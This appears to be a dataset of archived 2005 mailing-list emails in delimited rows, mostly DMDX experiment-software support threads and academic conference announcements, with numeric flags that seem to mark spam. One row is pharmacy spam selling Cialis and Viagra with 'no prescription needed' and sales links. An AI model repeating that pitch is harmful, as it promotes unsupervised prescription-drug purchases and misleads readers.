/ ""4s"" / / * ""1min"" ; +1002 / / ""2s"" / / * ""1min"" ; I wonder if my problem can be treated with a software like DMDX, or if I have to use another software. I would be grateful for your help on this subject. Thanks a lot for your attention. Cyril BERNARD University of Clermont-Ferrand.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Mar 2005 10:42:02 -0700",[DMDX] Re: Is it possible to stop playing a long WAV file with mouse or keyboard input ?,"Set the abort item key with to the same key as the response is mapped to. With any luck the response will be be processed before the abort code kicks in. At 06:16 PM 3/24/2005 +0100, you wrote: >Hi, > >in order to measure time perception with auditive stimuli, I tried to >build a program DMDX. > >Here is the detail of the experiment. >I would like a first sound (demo sound) to be played for a defined time >(i.e. 4 seconds) on my computer. The sound is a simple note, recorded in a >4 seconds long WAV file. >Then, the same sound would be played for an undefined duration (test >sound). I am using a 1 minute long WAV file so that the maximum response >time can't be much long. >The user would have to click with the mouse when he thinks that the sound >has reached the same duration than the first sound (demo sound). When he >clicks, the test sound would stop and the time between the beginning of >the test sound and the click would be written in the output ascii file. >And then the next item, with the same principle, would be starting. > >My problem is that when I begin to play the test sound with DMDX, and when >the user clicks, the sound goes on playing until the end of the WAV file. >Here's a sample of the script I am using : > >+1001 / / ""4s"" / / * ""1min"" ; >+1002 / / ""2s"" / / * ""1min"" ; > >I wonder if my problem can be treated with a software like DMDX, or if I >have to use another software. > >I would be grateful for your help on this subject. Thanks a lot for your >attention. > >Cyril BERNARD >University of Clermont-Ferrand. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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The script looks like this: N160 s160 f38 +889 / ""+""/ ""an apple""/ / * ""Q1.wav"" / ; As in my script, I set the recording duration lasting for 3600 ms. However, I found that some recorded sound files (wav. files) are contracted. I got some files that only last for 3300 ms. I am not sure how that would happen. Is it possible that when the subject reponds before the question file is finished, the recorded sound files would be contracted? I don't think that will be the case. I checked the voice detection time (RT, reaction time of voice onset). If the above causes the problem, then all the response times should be longer than the duration of the question file. BUT, most of the RT are actually shorter than the question duration. Did anyone else find similar problems? Or could it be any bugs? Second, since those recorded sound files are contracted, I don't know whether their RTs are still accurate. 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",DMDX@psy1.psych.arizona.edu,"Fri, 25 Mar 2005 06:45:58 -0700",[DMDX] Re: Questions about sound files of DMDX,"As mentioned elsewhere classic RecordVocal is busted when used with the DigitalVOX on most people's machines. Use the RecordVocal device with a parameter to specify how long to record after the VOX has triggered. For example, . At 10:34 PM 3/24/2005 -0800, you wrote: >Dear all: > I am using DMDX to run experiments on Chinese speech production. I > found some questions of my results. Maybe you folks can help me with > these problems. > My experiment event is like this, the subject first see a phrase ('an > apple"") on the screen, then s/he hears a wav. file ('what did he eat') > through the headphones. They were requested to respond on hearing the > question. I set the voice detection and recording voice starting from the > onset of the question. The script looks like this: > >N160 s160 f38 ""keyboard""> > >+889 / ""+""/ ""an apple""/ 500> / * ""Q1.wav"" / ; > As in my script, I set the recording duration lasting for 3600 ms. > However, I found that some recorded sound files (wav. files) are > contracted. I got some files that only last for 3300 ms. I am not sure > how that would happen. Is it possible that when the subject reponds > before the question file is finished, the recorded sound files would be > contracted? I don't think that will be the case. I checked the voice > detection time (RT, reaction time of voice onset). If the above causes > the problem, then all the response times should be longer than the > duration of the question file. BUT, most of the RT are actually shorter > than the question duration. Did anyone else find similar problems? Or > could it be any bugs? > Second, since those recorded sound files are contracted, I don't know > whether their RTs are still accurate. Even though they are contracted to > be a shorter sound file, DMDX still gave me their RTs. Can those still be > reliable? > > Thank you ! Have a great day! > >sincere wishes, >Chuck > > >Do you Yahoo!? >Yahoo! Small Business - >Try >our new resources site! /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Carelessly planned projects take three times longer to complete than expected. Carefully planned projects take four times longer to complete than expected, mostly because the planners expect their planning to reduce the time it takes.",0,1 Chuck Chiu ,DMDX@psy1.psych.arizona.edu,"Fri, 25 Mar 2005 07:09:49 -0800",[DMDX] Re: Questions about sound files of DMDX,"Hi Prof. Forster: Do you think the RTs are still reliable? Or should I remove those RTs from analyses? Thank you. Chuck ""j.c.f."" wrote: As mentioned elsewhere classic RecordVocal is busted when used with the DigitalVOX on most people's machines. Use the RecordVocal device with a parameter to specify how long to record after the VOX has triggered. For example, . At 10:34 PM 3/24/2005 -0800, you wrote: >Dear all: > I am using DMDX to run experiments on Chinese speech production. I > found some questions of my results. Maybe you folks can help me with > these problems. > My experiment event is like this, the subject first see a phrase ('an > apple"") on the screen, then s/he hears a wav. file ('what did he eat') > through the headphones. They were requested to respond on hearing the > question. I set the voice detection and recording voice starting from the > onset of the question. The script looks like this: > >N160 s160 f38 >""keyboard""> > >+889 / ""+""/ ""an apple""/ >500> / * ""Q1.wav"" / ; > As in my script, I set the recording duration lasting for 3600 ms. > However, I found that some recorded sound files (wav. files) are > contracted. I got some files that only last for 3300 ms. I am not sure > how that would happen. Is it possible that when the subject reponds > before the question file is finished, the recorded sound files would be > contracted? I don't think that will be the case. I checked the voice > detection time (RT, reaction time of voice onset). If the above causes > the problem, then all the response times should be longer than the > duration of the question file. BUT, most of the RT are actually shorter > than the question duration. Did anyone else find similar problems? Or > could it be any bugs? > Second, since those recorded sound files are contracted, I don't know > whether their RTs are still accurate. Even though they are contracted to > be a shorter sound file, DMDX still gave me their RTs. Can those still be > reliable? > > Thank you ! Have a great day! > >sincere wishes, >Chuck > > >Do you Yahoo!? >Yahoo! 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",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 25 Mar 2005 13:51:16 -0700",SAC 2006 CALL FOR TRACKS,"Dear Friends, This year, Martine Ceberio organized a very good interval-related track at SCA'05 in Santa Fe, a track that attracted attention from non-interval folks and helped promote our problems and techniques. Ray Moore himself was one of the keynote speackers at the conference. The organizers are looking for volunteers to organize tracks at the next year's conference. Please note: the deadlinefor proposing a track is in 3 weeks. Vladik ***************************************************************************** SAC 2006 http://www.acm.org/conferences/sac/sac2006 CALL FOR TRACK PROPOSALS The 21th ACM Symposium on Applied Computing (SAC 2006) April 23 - 27, 2006, Dijon, France For the past twenty years the ACM Symposium on Applied Computing (SAC) has been a primary and international forum for applied computer scientists, computer engineers and application developers to gather, interact and present their work. The ACM Special Interest Group on Applied Computing (SIGAPP) is the sole sponsor of SAC. The conference proceedings are published by ACM and are also available online through ACM's Digital Library. SAC is based on a flexible structure of mostly self-contained and self-managed tracks. Over the past years SAC hosted tracks on a variety of timely topics such as Artificial Intelligence, Bioinformatics, Coordination Models, Database Technology, Data Mining, Embedded Systems, Evolutionary Computing, Parallel and Distributed Systems, Mobile Computing, Object-Oriented Programming Systems, Software Engineering, and Web Technologies. SAC 2005, which was held in Santa Fe, New Mexico, USA, consisted of 30 tracks that hosted 275 accepted papers out of 764 submissions. More information on past SAC events can be found at http://www.acm.org/conferences/sac/ The 21th Annual SAC (SAC 2006) will be held April 23-27, 2006 in Dijon, France, and will be hosted by the University de Bourgogne in Dijon, France. The conference Steering Committee solicits proposals for organizing and hosting tracks. Perspective track chairs should submit an up to two pages description for organizing a track, which should include at least the following items: 1) The proposed title for the track with a description of its aims, topics it will cover and rationale for having such a track in SAC. This rationale should refer to any related conference events that are held regularly and why the proposed track differs from them or complements them. The proposed track should not be overly general but also not overly specialized, thus being able to attract a wide audience of people sharing similar interests. Proposals from industry are also welcomed. Despite its name, SAC also welcomes topics of mostly theoretical nature, provided there is clear practical potential in applying the results of such work. 2) A short description of the activities the track chair will undertake upon acceptance of the proposal, to disseminate the call-for-papers for his/her track, manage the review process and collect final materials from authors of accepted papers. (Specific guidelines to track chairs regarding these issues will also be provided.) 3) A short CV of the perspective track chair(s) with reference to research interests and publication record directly related to the themes of the proposed track, and any previous experience of involvement in the organization of similar events (in the interest of brevity, reference to a personal web page where such information can be found will be sufficient). All proposals will be reviewed by the Program Chairs with respect to the above criteria. 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Wainwright, SAC 2006 Program Co-Chair University of Tulsa Tulsa, Oklahoma, USA mailto:rogerw@utulsa.edu ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 25 Mar 2005 14:10:33 -0700",SAC'06: call for tracks,"P.S. Martine Ceberio and Michel Rueher, co-organizers of the SAC'05 interval track, have just informed me that they are planning to organize an interval track at SAC'06 in France as well. Many thanks for Martine and Michel! ",0,0 """Grasso, Thomas, Birkhäuser US"" ",stj@sam.sdu.dk,"Fri, 25 Mar 2005 17:02:12 -0500",FW: Notes from production (regarding references...in response to W. Grantham)," Dear Steffen, It appears that Production has been able to clarify reference style questions posed by Walt Grantham. I am passing this message on to you in the event that other contributors ask you similar questions. The most relevant points are highlighted below in red. Perhaps these points can be added to the Annals submission website. Best regards, Tom > -----Original Message----- > From: Loew, Elizabeth, Birkhäuser US > Sent: Tuesday, March 15, 2005 10:45 AM > To: 'grantham@mme.wsu.edu' > Cc: Grasso, Thomas, Birkhäuser US > Subject: Notes from production > Importance: High > > Hello Professor Grantham, > > My apologies for taking so long to get back to you with regard to reference entries. I must > admit that your last e-mail to Tom Grasso confused me a little bit but I hope that my final answers > to the question of references takes care of all future queries on the matter. > > Let me say firstly that for contributed volumes (versus monographs), Birkhauser does not expect > that each paper's references be stylized the same way. One author may opt to italicize journal articles, while others may opt to italicize the journal names. That said, the 3 examples that I sent to Tom Grasso for you are the preferred way to stylize different types of references. Production cares only that whatever method of stylizing references each author picks, that he/she use this style throughout his/her paper. > > As for citations, for the AISDG series we do not insist that within the text, citations are called out as numbers, e.g. [35] or by author & year, e.g. (Haurie 1984). Pick one way and use that method throughout your paper. > > In AISDG(2Authors).tex, I see that the citations are typed as > > Dynkin \\cite{Dyn69} > > This generates, Dynkin [4] > > The References at the end of this paper are numbered and are in alphabetical order. This is definitely our preference. In a quick scan of this file, I do not see any entries that are hard coded or hard wired...unless I am misunderstanding what you mean by hard wired. > > Please do not get bogged down in the differences between how one article uses references versus another. In contributed volumes, we expect diversity. If however, you see inconsistencies within a paper, that is an oversight on our part. > > Finally, we do not have a .bst file that supports AISDG.cls or any of our macros. Please use the .bst that you want and make sure to send it to the editors once you have submitted your final contribution. > > I hope that my explanation helps. > > Best regards, > Elizabeth Loew > Production ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 26 Mar 2005 13:58:25 -0700",[DMDX] RecordVocal," Forgot to mention in the last reply I made about classic mode RecordVocal's data not being reliable, it's reliable under Windows ME and probably all the 9X variants. It's only under XP that classic mode is busted and given that absolutely no one wanted it's functionality given the enhanced mode there was no incentive to go make it work. If I do anything at this stage it'll be to disable it outright as I can no longer (or more precisely not easily) test ME or 9X functionality. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb ",0,0 Chuck Chiu ,DMDX@psy1.psych.arizona.edu,"Sun, 27 Mar 2005 17:14:00 -0800",[DMDX] Re: RecordVocal,"Dear Sir! thank you very much for letting me know. As a lab assistant, I can now tell all other assistants and new comers about the DMDX more. Thank you. best wishes, Chuck ""j.c.f."" wrote: Forgot to mention in the last reply I made about classic mode RecordVocal's data not being reliable, it's reliable under Windows ME and probably all the 9X variants. It's only under XP that classic mode is busted and given that absolutely no one wanted it's functionality given the enhanced mode there was no incentive to go make it work. If I do anything at this stage it'll be to disable it outright as I can no longer (or more precisely not easily) test ME or 9X functionality. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Do you Yahoo!? Yahoo! Small Business - Try our new resources site!",0,1 jessie peng ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Mar 2005 22:31:40 +0800",[DMDX] question about randomization,"Hi all, I have problems about randomization in my experiment using implicit priming paradigm so I'm writing to the mailing list. There are four conditions in my experiment and I want them to appear in fixed order. In each condition, there are six blocks and I want them to appear randomly. In each block, there is a bitmap file followed by three randomized items. How can I make it work as I wish? Where should I put $ in my script? Below is a simplified version of my script (suppose there are two condictions,homo-seg and homo-fea, and each condition has two blocks): N78 f38 $ 0 ""Intro.bmp"" ; 250 / ; $ 0 ""homo-seg set1""; +1 ""+"" // *""跳"" / /; +2 ""+"" // *""灑"" / /; +3 ""+"" // *""癮"" / /; 0 ""homo-seg set2""; +4 ""+"" // *""樓"" / /; +5 ""+"" // *""刮"" / /; +6 ""+"" // *""弒"" / /; 0 ""homo-fea set1""; +7 ""+"" // *""跳"" / /; +8 ""+"" // *""灑"" / /; +9 ""+"" // *""張"" / /; 0 ""homo-fea set2""; +10 ""+"" // *""放"" / /; +11 ""+"" // *""廣"" / /; +12 ""+"" // *""癮"" / /; Is there anyone doing implict priming paradigm with DMDX before? Any help would be appreciated a lot. -Jessie _________________________________________________________ Do You Yahoo!? 登記免費的 @yahoo.com 中文電子郵件 @ http://chinese.mail.yahoo.com Get your free @yahoo.com address at http://chinese.mail.yahoo.com",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Mar 2005 08:36:56 -0700",[DMDX] Re: question about randomization,"At 10:31 PM 3/28/2005 +0800, you wrote: >Hi all, >I have problems about randomization in my experiment >using implicit priming paradigm so I'm writing to the >mailing list. >There are four conditions in my experiment and I want >them to appear in fixed order. Then you want to have a scramble emit command, the back slash, between each block at the start of a line. Like this: \\ > In each condition, >there are six blocks and I want them to appear >randomly. In each block, there is a bitmap file >followed by three randomized items. How can I make it >work as I wish? Where should I put $ in my script? You'll have to use the multi-scrambling options for such a complex job. There's an example in the help that's almost exactly what you want, look at http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhmultiscramblingscramblekeyword.htm Your backslash mentioned above will have to become a but other than that it's a direct rip from the first example. >Below is a simplified version of my script (suppose >there are two condictions,homo-seg and homo-fea, and >each condition has two blocks): > >N78 f38 000000000> > >$ >0 ""Intro.bmp"" ; >250 / ; >$ > >0 ""homo-seg set1""; >+1 ""+"" // *""¸õ"" >/ /; >+2 ""+"" // *""Åx"" >/ /; >+3 ""+"" // *""Å}"" >/ /; > >0 ""homo-seg set2""; >+4 ""+"" // *""¼Ó"" >/ /; >+5 ""+"" // *""¨í"" >/ /; >+6 ""+"" // *""·I"" >/ /; > >0 ""homo-fea set1""; >+7 ""+"" // *""¸õ"" >/ /; >+8 ""+"" // *""Åx"" >/ /; >+9 ""+"" // *""±i"" >/ /; > >0 ""homo-fea set2""; >+10 ""+"" // >*""©ñ"" / /; >+11 ""+"" // >*""¼s"" / /; >+12 ""+"" // >*""Å}"" / /; > >Is there anyone doing implict priming paradigm with >DMDX before? Dozens of them. > Any help would be appreciated a lot. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb",0,1 """Keith F. Donohue"" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Mar 2005 11:07:13 -0500",[DMDX] Re: question about initial PIO card values,"Hello Professor Forster and fellow DMDX users. I have a question about using DMDX to send out triggers with a PIO card. When I run an .rtf file in DMDX, I initially get ""on"" values (i.e. 1) on all of the bits that are set for output. In the past, I have ignored this, as it didn't seem to interfere with subsequent triggering. However, I am now running an experiment that uses an electric shock generator, and this initial output from DMDX triggers a large shock that I don't want (and I am sure my participants will not want either). Is there any way to suppress this (e.g. setting some parameter to make DMDX initially put ""off"" values on all of the bits)? Thank you for your help. Keith Keith F. Donohue Graduate Student Alcohol Studies Laboratory, Department of Psychology Florida State University Tallahassee, Florida ""In the depth of winter, I finally learned that within me there lay an invincible summer."" - Albert Camus ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Mar 2005 09:53:17 -0700",[DMDX] Re: question about initial PIO card values,"At 11:07 AM 3/28/2005 -0500, you wrote: >Hello Professor Forster and fellow DMDX users. I have a question about >using DMDX to send out triggers with a PIO card. When I run an .rtf file >in DMDX, I initially get on values (i.e. 1) on all of the bits that are >set for output. In the past, I have ignored this, as it didn t seem to >interfere with subsequent triggering. However, I am now running an >experiment that uses an electric shock generator, and this initial output >from DMDX triggers a large shock that I don t want (and I am sure my >participants will not want either). Is there any way to suppress this >(e.g. setting some parameter to make DMDX initially put off values on all >of the bits)? Yeah, the keyword can be used for that. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhrevertoutputkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You should hardly ever equivocate.",0,1 Rob Radez ,"kblass@mit.edu, jaheiney@mit.edu","Mon, 28 Mar 2005 10:17:40 -0500",CPW Welcome/Liquid Nitrogen Ice Cream Again,"Good morning, The CPW welcome festival this year would like to have liquid nitrogen ice cream again in the lobby of Johnson. I have attached a copy of the safety plan from last year which will hopefully be the basis of the safety plan this year. CPW is scheduled to be Thursday 4/7 through Sunday 4/10. Sorry for the short notice again, Rob Radez -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Erik Katsavounidis ,"Patrick Brady , Kent Blackburn , Albert Lazzarini , Scott Koranda , anderson@ligo.caltech.edu","Mon, 28 Mar 2005 21:42:06 -0500",discussion item for Apr 1-3 meeting?,"Hi Patrick, all, I haven't seen the agenda for the Apr 1-3 meeting, or maybe I missed it, and I was wondering if a discussion around further data reduction schemes for S5+ would fall into it. I guess the problem that I see (at least at MIT) is how to keep up with 24/7 operations from the point of view of what to keep on disk. To the extend that this is pertinent to the meeting that's coming up, I find there will be value discussing: - devising the level-2 RDS scheme [something of the order of 20-30 ? channels and a size reduction by 5 ?] - brute-force approach by running general data characterization algorithms (KleineWelle,Q-transform,glitchMON) on ALL LIGO channels before data disappear - devise a scheme for event-driven RDS's (does it exist?): run several algorithms on GW channel (inspiral/burst) take the ""OR"" of triggers and (assuming the global rate is ~mHz, e.g., the ""outliers"") take, say, 32 seconds centered on each event from ALL LIGO/GEO channels for further event analysis. For example the online trigger generation could do this extraction of time series from all IFO channels around each event. Hope this is helpful. Thanks, --Erik E. Katsavounidis Massachusetts Institute of Technology | LIGO Lab, NW17-161 175 Albany Street | tel#: 617 258 9218 Cambridge, MA 02139 | fax#: 617 253 7014 ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 28 Mar 2005 22:32:51 -0700",WCCI 2006 (Call for Papers),"Dear Friends, Every year, the major fuzzy conference FUZZ-IEEE'06 has either an interval session or interval-related talks. Here is the CFp for the 2006 conference. Let us have an interval session there as well. ------------- Begin Forwarded Message ------------- Date: Mon, 28 Mar 2005 14:30:06 -0600 To: ""Leong, Wenf"" Sponsored by the IEEE Computational Intelligence Society, 2006 IEEE World Congress on Computational Intelligence (WCCI 2006), to be held in Vancouver, British Columbia, Canada from July 16-21, 2006, is the best known academic Olympic event in computational intelligence community. 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Important Due Dates Special Session Proposal: December 31, 2005 Paper Submission: January 31, 2006 Tutorial Proposal: January 31, 2006 Decision Notification: March 15, 2006 Camera-Ready Submission: April 15, 2006 ------------- End Forwarded Message -------------",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Tue, 29 Mar 2005 08:17:24 -0700","ISSAC 2005 Beijing, CALL FOR POSTERS: forwarding ","This conference may be of interest to some interval folks; as you can see from the interval computations website, there are several conference conference in China around the same time that may be of interest ******************************************************************* From: Ilias Kotsireas CALL FOR POSTERS ================ International Symposium on Symbolic and Algebraic Computation ============================================================= ISSAC 2005, Beijing, P. R. China ================================ ISSAC, the International Symposium on Symbolic and Algebraic Computation, is an annual gathering of the Symbolic Mathematical Computation community. ISSAC 2005 is scheduled for July 24-—27, 2005 at the Key Laboratory of Mathematics Mechanization, Chinese A cademy of Sciences, Beijing, China. ISSAC 2005 is expected to be very well attended. More than 110 papers were submitted for review. Planned conference activities include invited presentations, research and survey papers, poster sessions, tutorial courses, vendor exhibits, and software demonstrations. Proceedings, as well as abstracts of all posters, will be distributed at the conference. The Poster Sessions are an ideal avenue for presenting recent research results or reports on ongoing research projects that might not yet be complete, but whose preliminary results are already of potential interest to the community. Especially welcome are posters describing implementations of algorithms, computer algebra systems, and applications of computer algebra and symbolic computation in the domains of education, science, and industry. To encourage submissions of good quality, a prize will be awarded for the best poster presented. Posters will be reviewed by a panel for content correctness, relevance, and style of presentation. Abstracts of final versions of accepted posters will be distributed at the conference, and will appear in the Communications in Computer Algebra, a quarterly publication of the Special Interest Group on Symbolic & Algebraic Manipulation (SIGSAM), ACM. All accepted posters will be archived for public download, at the website of SIGSAM. TOPICS OF INTEREST Topics of the meeting include, but are not limited to: * Algorithmic Mathematics: Algebraic, symbolic, and symbolic-numeric algorithms. Simplification, function manipulation, ODE/PDE solving, summation, integration, linear algebra, number theory, group and geometric computing. * Computer Science: Treatments of theoretical and practical problems in symbolic computation. Systems, problem solving environments, user interfaces, software, libraries, parallel and distributing computing, programming languages for symbolic computations , concrete analysis, benchmarking, theoretical and practical complexity of computer algebra algorithms, automatic differentiation, code generation, mathematical data structures and exchange protocols. * Applications: Problem treatments using algebraic, symbolic, or symbolic-numeric computation in an essential or novel way for engineering, economics and finance, physical and biological sciences, computer science, logic, mathematics, statistics, and educ ation. SUBMISSION GUIDELINES: Authors are invited to submit an abstract of no more than 900 words by electronic mail to Austin Lobo at the address alobo2@washcoll.edu. Portable Document Format (pdf) or PostScript is preferred, but TeX or LaTeX source, or plain text are also acceptable . The deadline for submission of abstracts is May 17, 2005. Notification of acceptance will be made by June 14, 2005. The deadline for submission of the final version of the abstract, and the LaTeX source of the final version of an accepted poster is June 28, 2005. INSTRUCTIONS FOR POSTER PREPARATION Authors should prepare posters that fit the A0 size, i.e. a maximum of 33 inches (84 cm) wide by 46 inches (117 cm) high, or 46 inches (117 cm) wide by 33 inches (84 cm) high. Posters will be pinned onto display boards at the conference site. All accepted posters will be printed at the conference site in Beijing by the organizers of ISSAC 2005, at no cost to their authors. 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Davis"" ",irc-list-web@skidmore.edu,"Tue, 29 Mar 2005 21:16:35 +0000","Cialis - ""weekend drug""!","Rock hard erections Long lasting effects No prescription needed Only $2.99/$1.99 per dose (2 doses in each pill): Cialis - http://www.protomed.biz/sv/ Viagra - http://www.protomed.biz/vt/ Select the manufacturer you can trust! _________________________________________________________________________ To change your mail details, go here: http://www.protomed.biz/uns.htm _________________________________________________________________________ ",1,1 jessie peng ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 11:34:06 +0800",[DMDX] Fwd: Re: question about randomization,"註： 轉寄郵件已附加上去 I've read the Multi-Scarmbling keyword in the help. In the first extended parameter, what are and used for? When I do miltiscramble2.itm, should miltiscramble1.itm be inclueded in the same or have another following the first one? Thanks a lot for your help!! -Jessie _________________________________________________________ Do You Yahoo!? 登記免費的 @yahoo.com 中文電子郵件 @ http://chinese.mail.yahoo.com Get your free @yahoo.com address at http://chinese.mail.yahoo.com",0,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 09:53:14 +0100",[DMDX] Fwd: Re: question about randomization,"Hi, For everyone who has a randomisation problem: I have a program that can pseudo-randomise items according to a set of constrainst you can specify. It could be of help to you. You will have to randomise your items before running DmDX, of course, which is a bit more work, but on the other hand my program has many more options and this way you have the opportunity to check the order(s) before you run the experiment. There's even an option to prevent repeating patterns. You can download it, and a helpfile, at http://www.mrc-cbu.cam.ac.uk/personal/maarten.van-casteren/Mix.htm Maarten van Casteren At 04:34 30/03/2005, you wrote: >Content-Type: text/plain; charset=big5 >Content-Id: >Content-Disposition: inline >X-MIME-Autoconverted: from 8bit to quoted-printable by >psy1.psych.arizona.edu id j2U3ZQFJ010620 > > µù¡G Âà±H¶l¥ó¤wªþ¥[¤W¥h >I've read the Multi-Scarmbling keyword in the help. >In the first extended parameter, what are >and used for? When I do miltiscramble2.itm, >should miltiscramble1.itm be inclueded in the same > or have another following the first one? >Thanks a lot for your help!! > >-Jessie > >_________________________________________________________ >Do You Yahoo!? >µn°O§K¶Oªº @yahoo.com ¤¤¤å¹q¤l¶l¥ó @ http://chinese.mail.yahoo.com >Get your free @yahoo.com address at http://chinese.mail.yahoo.com >X-Apparently-To: jessie_0731@yahoo.com.tw via 202.43.200.213; Mon, 28 Mar >2005 23:41:45 +0800 >Authentication-Results: mta161.mail.tpe.yahoo.com > from=psy1.psych.arizona.edu; domainkeys=neutral (no sig) >X-Originating-IP: [128.196.98.40] >Return-Path: >Received: from 128.196.98.40 (EHLO psy1.psych.arizona.edu) (128.196.98.40) > by mta161.mail.tpe.yahoo.com with SMTP; Mon, 28 Mar 2005 23:41:45 +0800 >Received: from psy1.psych.arizona.edu (IDENT:1002@localhost [127.0.0.1]) > by psy1.psych.arizona.edu (8.12.10/8.12.4) with ESMTP id > j2SFbAFN001646; > Mon, 28 Mar 2005 08:37:12 -0700 >Received: (from petidomo@localhost) > by psy1.psych.arizona.edu (8.12.10/8.12.4/Submit) id j2SFaxVV001645; > Mon, 28 Mar 2005 08:36:59 -0700 >X-Authentication-Warning: psy1.psych.arizona.edu: petidomo set sender to >DMDX-owner@psy1.psych.arizona.edu using -f >Received: from smtpgate.email.arizona.edu (deagol.email.Arizona.EDU >[128.196.133.142]) > by psy1.psych.arizona.edu (8.12.10/8.12.4) with ESMTP id > j2SFaxFJ001641 > for ; Mon, 28 Mar 2005 08:36:59 -0700 >Received: from localhost (boromir.email.arizona.edu [10.0.0.217]) > by smtpgate.email.arizona.edu (Postfix) with ESMTP id 0BFB3A82B5C > for ; Mon, 28 Mar 2005 08:36:59 > -0700 (MST) >Received: from anybodyi.u.arizona.edu (megacentral-6.dsl.arizona.edu >[128.196.237.6]) > by smtpgate.email.arizona.edu (Postfix) with ESMTP id 72E4CA82DF7 > for ; Mon, 28 Mar 2005 08:36:58 > -0700 (MST) >Date: Mon, 28 Mar 2005 08:36:56 -0700 >To: DMDX@psy1.psych.arizona.edu >From: ""j.c.f."" >Subject: [DMDX] Re: question about randomization >In-Reply-To: <20050328143140.62813.qmail@web17703.mail.tpe.yahoo.com> >Mime-Version: 1.0 >Content-Type: text/plain; charset=""iso-8859-1""; format=flowed >Reply-To: DMDX@psy1.psych.arizona.edu >Sender: DMDX-owner@psy1.psych.arizona.edu >Precedence: list >Content-Length: 1291 >X-MIME-Autoconverted: from 8bit to quoted-printable by >psy1.psych.arizona.edu id j2U3ZQFJ010620 > >At 10:31 PM 3/28/2005 +0800, you wrote: >>Hi all, >>I have problems about randomization in my experiment >>using implicit priming paradigm so I'm writing to the >>mailing list. >>There are four conditions in my experiment and I want >>them to appear in fixed order. > > Then you want to have a scramble emit command, the back slash, between > each block at the start of a line. Like this: > >\\ > >> In each condition, >>there are six blocks and I want them to appear >>randomly. In each block, there is a bitmap file >>followed by three randomized items. How can I make it >>work as I wish? Where should I put $ in my script? > > You'll have to use the multi-scrambling options for such a complex > job. There's an example in the help that's almost exactly what you want, > look at > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhmultiscramblingscramblekeyword.htm > > Your backslash mentioned above will have to become a but other > than that it's a direct rip from the first example. > > >>Below is a simplified version of my script (suppose >>there are two condictions,homo-seg and homo-fea, and >>each condition has two blocks): >> >>N78 f38 >000000000> >> >>$ >>0 ""Intro.bmp"" ; >>250 / ; >>$ >> >>0 ""homo-seg set1""; >>+1 ""+"" // *""¸õ"" >>/ /; >>+2 ""+"" // *""Åx"" >>/ /; >>+3 ""+"" // *""Å}"" >>/ /; >> >>0 ""homo-seg set2""; >>+4 ""+"" // *""¼Ó"" >>/ /; >>+5 ""+"" // *""¨í"" >>/ /; >>+6 ""+"" // *""·I"" >>/ /; >> >>0 ""homo-fea set1""; >>+7 ""+"" // *""¸õ"" >>/ /; >>+8 ""+"" // *""Åx"" >>/ /; >>+9 ""+"" // *""±i"" >>/ /; >> >>0 ""homo-fea set2""; >>+10 ""+"" // >>*""©ñ"" / /; >>+11 ""+"" // >>*""¼s"" / /; >>+12 ""+"" // >>*""Å}"" / /; >> >>Is there anyone doing implict priming paradigm with >>DMDX before? > > Dozens of them. > >> Any help would be appreciated a lot. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Where there is sugar, there are ants. > - Malaysian Proverb > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================",0,1 Craig Richardson ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 18:58:21 +1000",[DMDX] Computer name not recording in .azk file,"Hi All, I've recently upgraded our DMDX labs from Windows 98 machines to new Windows XP (SP2) machines. The machines we got were Dell Dimension 8400s with ATI Radeon X300 video cards. I'm now only requiring people to only have user rights to the machines. This is to stop people bringing in and installing their own software onto them. These machines are optimised to run DMDX only and we want to keep it that way. One quirk we've noticed is that the computer name is not being recorded in the .azk file. Instead is being recorded in its place. When I log in with an administrator account the computer name is recorded. Does anyone have any ideas? thanks, Craig -- Craig Richardson Systems Administrator Macquarie Centre for Cognitive Science Macquarie University Phone : +61 2 9850 6730 Fax : +61 2 9850 6059 Web : http://www.maccs.mq.edu.au",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 11:42:00 +0200",[DMDX] Fwd: Re: question about randomization,"another program that 